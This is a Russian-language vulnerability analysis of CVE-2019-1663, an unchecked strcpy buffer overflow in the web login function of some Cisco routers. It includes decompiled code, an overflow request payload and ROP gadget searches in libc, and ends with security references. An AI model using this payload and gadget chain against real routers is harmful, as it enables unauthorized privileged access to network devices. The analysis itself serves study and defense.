
Автор: Corentin Wolff
Уязвимость возникает в функции 0x0002BF64, которая неправильно использует strcpy, что делает её подверженной атакам переполнения буфера. Для ясности эта функция переименована в Login. Ниже приведён фрагмент, иллюстрирующий проблему:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
В этом фрагменте функция strcpy используется некорректно, что приводит к уязвимости переполнения буфера:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
Эта часть кода проверяет имя пользователя:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
Параметр param_1 идентифицируется как поле имени пользователя.
Аналогично param_2 соответствует паролю, а param_3 идентифицируется как httpd_user.
Переменная login_flag представляет состояния соединения:
0 → Ошибка входа
1 → Успешный вход администратора
2 → Вход администратора отклонён из-за существующей сессии
3 → Принудительный выход администратора
Уязвимость представляет собой переполнение буфера, вызванное неправильным использованием функции strcpy.
Функция strcpy не проверяет размер исходной строки относительно ёмкости буфера назначения. Это позволяет перезаписывать соседние области памяти.
CVE-2019-1663 использует отсутствие проверки размера вводимых данных в некоторых моделях маршрутизаторов Cisco.
a. Отсутствие проверки длины: несанитизированный пользовательский ввод передаётся в strcpy.
b. Переполнение памяти: избыточные данные перезаписывают критически важные области памяти.
c. Выполнение произвольного кода: злоумышленники внедряют и выполняют вредоносный код.
d. Требования для эксплуатации: доступ к веб-серверу конфигурации маршрутизатора.
e. Воздействие: привилегированный доступ, позволяющий шпионаж в сети, перенаправление трафика, установку вредоносного ПО или бэкдоров.
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
Это вызывает ошибку сегментации. Определив оптимальный размер буфера, злоумышленники могут внедрить и выполнить вредоносный код.
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: Копирование буфера без проверки размера входных данных
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: Запись за границами буфера
https://cwe.mitre.org/data/definitions/787.html
OWASP Обзор переполнения буфера
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
"Переполнение буфера" на Microsoft Learn
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
CERT Secure Coding Standards - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
Эксплуатация CVE-2019-1663 - Write Up by Quentin Kaiser
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663